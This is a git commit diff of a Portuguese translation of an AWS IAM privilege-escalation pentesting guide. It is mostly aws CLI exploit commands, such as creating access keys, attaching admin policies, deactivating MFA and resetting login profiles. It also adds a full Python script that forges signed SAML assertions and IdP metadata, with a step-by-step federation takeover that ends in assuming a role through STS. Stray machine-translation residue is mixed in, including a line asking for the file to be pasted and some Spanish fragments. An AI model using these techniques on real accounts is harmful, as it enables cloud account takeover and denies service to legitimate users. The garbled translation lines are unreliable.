Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-02-14 17:01:25 +00:00
parent 9e2aa34c9d
commit 907997369e

View File

@@ -4,7 +4,7 @@
## IAM
Para mais informações sobre o IAM, confira:
Para mais informações sobre IAM, veja:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -19,17 +19,17 @@ Concede a capacidade de criar uma nova versão de política do IAM, contornando
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impacto:** Escala privilégios diretamente ao permitir qualquer ação em qualquer recurso.
**Impacto:** Escala privilégios diretamente, permitindo qualquer ação em qualquer recurso.
### **`iam:SetDefaultPolicyVersion`**
Permite alterar a versão padrão de uma policy IAM para outra versão existente, potencialmente escalando privilégios se a nova versão tiver mais permissões.
Permite alterar a versão padrão de uma IAM policy para outra versão existente, potencialmente escalando privilégios se a nova versão tiver mais permissões.
**Comando Bash:**
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impacto:** Indirect privilege escalation ao habilitar mais permissões.
**Impacto:** Indirect privilege escalation ao permitir mais permissões.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
@@ -39,15 +39,15 @@ Permite criar access key ID e secret access key para outro usuário, levando a p
```bash
aws iam create-access-key --user-name <target_user>
```
**Impacto:** Escalada direta de privilégios ao assumir as permissões estendidas de outro usuário.
**Impacto:** Escalada direta de privilégios ao assumir as permissões estendidas de outro user.
Observe que um usuário só pode ter 2 access keys criadas, então, se um usuário já tiver 2 access keys, você precisará da permissão `iam:DeleteAccessKey` para deletar uma delas e poder criar uma nova:
Observe que um user só pode ter 2 access keys criadas, então se um user já tiver 2 access keys você precisará da permissão `iam:DeleteAccessKey` para deletar uma delas e poder criar uma nova:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Se você puder criar um novo dispositivo MFA virtual e habilitá-lo em outro usuário, pode, na prática, inscrever seu próprio MFA para esse usuário e então solicitar uma sessão com MFA para as credenciais desse usuário.
Se você conseguir criar um novo dispositivo virtual MFA e habilitá-lo para outro usuário, poderá efetivamente inscrever seu próprio MFA para esse usuário e, em seguida, solicitar uma sessão autenticada por MFA usando as credenciais dele.
**Exploit:**
```bash
@@ -58,11 +58,11 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impacto:** Escalada direta de privilégios ao assumir a inscrição MFA de um usuário (e então usar suas permissões).
**Impacto:** Escalada de privilégios direta ao assumir o registro MFA de um usuário (e então usar suas permissões).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Permite criar ou atualizar um login profile, incluindo definir senhas para login no console da AWS, levando à escalada direta de privilégios.
Permite criar ou atualizar um perfil de login, incluindo definir senhas para login no console da AWS, levando a uma escalada direta de privilégios.
**Exploit para Criação:**
```bash
@@ -74,55 +74,81 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impacto:** Escalonamento de privilégios direto ao efetuar login como o usuário "any".
**Impacto:** Escalada de privilégios direta ao fazer login como o usuário "any".
### **`iam:UpdateAccessKey`**
Permite habilitar uma access key desativada, potencialmente resultando em acesso não autorizado caso o atacante possua essa access key desativada.
Permite habilitar uma access key desabilitada, possivelmente permitindo acesso não autorizado se o atacante possuir essa access key.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impacto:** Escalada de privilégios direta ao reativar chaves de acesso.
**Impacto:** Escalada direta de privilégios ao reativar access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Permite gerar ou redefinir credenciais para serviços AWS específicos (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.
Permite gerar ou redefinir credenciais para serviços específicos da AWS (mais comumente **CodeCommit**). Estas **não** são AWS API keys: são credenciais **username/password** para um serviço específico, e você só pode usá-las onde esse serviço as aceita.
**Exploração para Criação:**
**Criação:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```
**Exploit para Reset:**
Salvar:
- `ServiceSpecificCredential.ServiceUserName`
- `ServiceSpecificCredential.ServicePassword`
**Exemplo:**
```bash
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Nota: A senha do serviço frequentemente contém caracteres como `+`, `/` e `=`. Usar o prompt interativo geralmente é o mais fácil. Se você a inserir em uma URL, faça URL-encode primeiro.
Neste ponto você pode ler tudo o que o usuário alvo pode acessar em CodeCommit (por exemplo, um leaked credentials file). Se você recuperar **AWS access keys** do repositório, configure um novo perfil do AWS CLI com essas chaves e então acesse recursos (por exemplo, leia uma flag do Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**Redefinir:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impacto:** Escalada direta de privilégios dentro das permissões de serviço do usuário.
**Impact:** Escalada de privilégios para as permissões do usuário alvo no serviço especificado (e potencialmente além, se você pivotar usando dados recuperados desse serviço).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Permite anexar políticas a usuários ou grupos, escalando privilégios diretamente ao herdar as permissões da política anexada.
Permite anexar policies a usuários ou grupos, escalando privilégios diretamente ao herdar as permissões da policy anexada.
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploit para Grupo:**
**Exploit para o Grupo:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impacto:** Privilege escalation direto para qualquer coisa que a política concede.
**Impacto:** Direct privilege escalation para qualquer permissão que a política conceda.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Permite anexar ou inserir políticas em funções, usuários ou grupos, possibilitando privilege escalation direto ao conceder permissões adicionais.
Permite anexar ou adicionar políticas a funções, usuários ou grupos, permitindo direct privilege escalation ao conceder permissões adicionais.
**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Exploit for Inline Policies:**
**Exploração para Inline Policies:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
@@ -133,7 +159,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Por favor, cole o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md que deseja que eu traduza.
Por favor, cole aqui o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md que você quer traduzir para português.
```json
{
"Version": "2012-10-17",
@@ -146,13 +172,13 @@ Por favor, cole o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-pri
]
}
```
**Impacto:** Escalada direta de privilégios ao adicionar permissões através de policies.
**Impacto:** Escalada direta de privilégios ao adicionar permissões por meio de políticas.
### **`iam:AddUserToGroup`**
Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.
**Exploit:**
**Exploração:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
@@ -160,14 +186,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
### **`iam:UpdateAssumeRolePolicy`**
Permite alterar o documento de assume role policy de um role, habilitando a assunção do role e suas permissões associadas.
Permite alterar o assume role policy document de uma role, permitindo a assunção da role e das permissões associadas.
**Exploração:**
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Quando a política estiver da seguinte forma, o que concede ao usuário permissão para assumir a role:
Quando a policy for a seguinte, que dá ao usuário permissão para assumir a role:
```json
{
"Version": "2012-10-17",
@@ -182,38 +208,38 @@ Quando a política estiver da seguinte forma, o que concede ao usuário permiss
]
}
```
**Impacto:** Escalação direta de privilégios ao assumir as permissões de qualquer role.
**Impacto:** Escalada direta de privilégios ao assumir as permissões de qualquer role.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Permite fazer upload de uma chave pública SSH para autenticação no CodeCommit e desativar dispositivos MFA, levando a uma possível escalada indireta de privilégios.
**Exploit para Upload de Chave SSH:**
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit para desativação de MFA:**
**Exploit para Desativação de MFA:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impacto:** Escalação de privilégios indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
**Impacto:** Escalonamento de privilégios indireto ao habilitar acesso ao CodeCommit ou desativar a proteção MFA.
### **`iam:ResyncMFADevice`**
Permite a ressincronização de um dispositivo MFA, potencialmente levando a uma escalação de privilégios indireta ao manipular a proteção MFA.
Permite a ressincronização de um dispositivo MFA, potencialmente levando a um escalonamento de privilégios indireto ao manipular a proteção MFA.
**Comando Bash:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impacto:** Escalada de privilégio indireta ao adicionar ou manipular dispositivos MFA.
**Impact:** Escalação indireta de privilégios ao adicionar ou manipular dispositivos MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **SAML federation** para **fazer login** com qualquer **role que confie nela**.
Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **SAML federation** para **login** com qualquer **role que confie nela**.
Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você poderia obter o XML, então pode colocar o seu, fazer login e restaurar a configuração anterior.
Observe que ao fazer isso **legit users won't be able to login**. No entanto, você pode obter o XML, então pode colocar o seu, login e reconfigurar o anterior.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -229,12 +255,258 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: Uma ferramenta capaz de gerar o SAML metadata e realizar login com uma role especificada
**Ataque de ponta a ponta:**
1. Enumerar o provedor SAML e uma role que confia nele:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Forjar metadados do IdP + uma SAML assertion assinada para o par role/provider:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>Expansível: <code>/tmp/saml_forge.py</code> auxiliar (metadados + declaração assinada)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import base64
import datetime as dt
import json
import os
import subprocess
import tempfile
import uuid
from lxml import etree
from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str:
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")
_run(
[
"openssl",
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"3650",
"-nodes",
"-subj",
"/CN=attacker-idp",
]
)
return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str:
lines: list[str] = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
line = line.strip()
if line:
lines.append(line)
return "".join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<X509Data>
<X509Certificate>{cert_b64}</X509Certificate>
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
ns = {
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
}
issue_instant = dt.datetime.now(dt.timezone.utc)
not_before = issue_instant - dt.timedelta(minutes=2)
not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = "_" + str(uuid.uuid4())
assertion_id = "_" + str(uuid.uuid4())
response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
response.set("ID", resp_id)
response.set("Version", "2.0")
response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
assertion.set("ID", assertion_id)
assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
name_id.text = "attacker"
subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
conditions.set("NotBefore", not_before.isoformat())
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "saml-session"
key_bytes = open(key_pem, "rb").read()
cert_bytes = open(cert_pem, "rb").read()
signer = XMLSigner(
method=methods.enveloped,
signature_algorithm="rsa-sha256",
digest_algorithm="sha256",
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
)
signed_assertion = signer.sign(
assertion,
key=key_bytes,
cert=cert_bytes,
reference_uri=f"#{assertion_id}",
id_attribute="ID",
)
response.remove(assertion)
response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding="utf-8")
def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("--role-arn", required=True)
ap.add_argument("--principal-arn", required=True)
args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp:
key_path, cert_path = _openssl_make_key_and_cert(tmp)
cert_pem = open(cert_path, "r", encoding="utf-8").read()
cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64)
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
saml_b64 = base64.b64encode(saml_xml).decode("ascii")
print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
if __name__ == "__main__":
main()
```
</details>
3. Atualize os metadados do provedor SAML para o certificado do seu IdP, assuma o role e use as credenciais STS retornadas:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. Limpeza: restaurar metadados anteriores:
```bash
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Atualizar os metadados do SAML provider é disruptivo: enquanto seus metadados estiverem em vigor, usuários legítimos de SSO podem não conseguir se autenticar.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Não tenho certeza sobre isto) Se um atacante tiver essas **permissões** ele poderia adicionar um novo **Thumbprint** para conseguir fazer login em todas as roles que confiam no provider.
(Não tenho certeza sobre isto) Se um atacante tiver essas **permissions**, ele poderia adicionar um novo **Thumbprint** e assim conseguir fazer login em todas as roles que confiam no provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -245,7 +517,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Essa permissão permite que um atacante atualize o limite de permissões de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas suas permissões existentes.
Esta permissão permite que um atacante atualize o permissions boundary de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas suas permissions existentes.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -268,7 +540,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Um ator com iam:PutRolePermissionsBoundary pode definir um permissions boundary em uma role existente. O risco surge quando alguém com essa permissão altera o boundary de uma role: essa pessoa pode restringir indevidamente operações (causando interrupção de serviço) ou, se anexar um boundary permissivo, efetivamente ampliar o que a role pode fazer e escalar privilégios.
Um ator com iam:PutRolePermissionsBoundary pode definir um limite de permissões em uma função existente. O risco surge quando alguém com essa permissão altera o limite de permissões de uma função: essa pessoa pode restringir indevidamente operações (causando interrupção de serviço) ou, se anexar um limite de permissões permissivo, ampliar efetivamente o que a função pode fazer e escalar privilégios.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \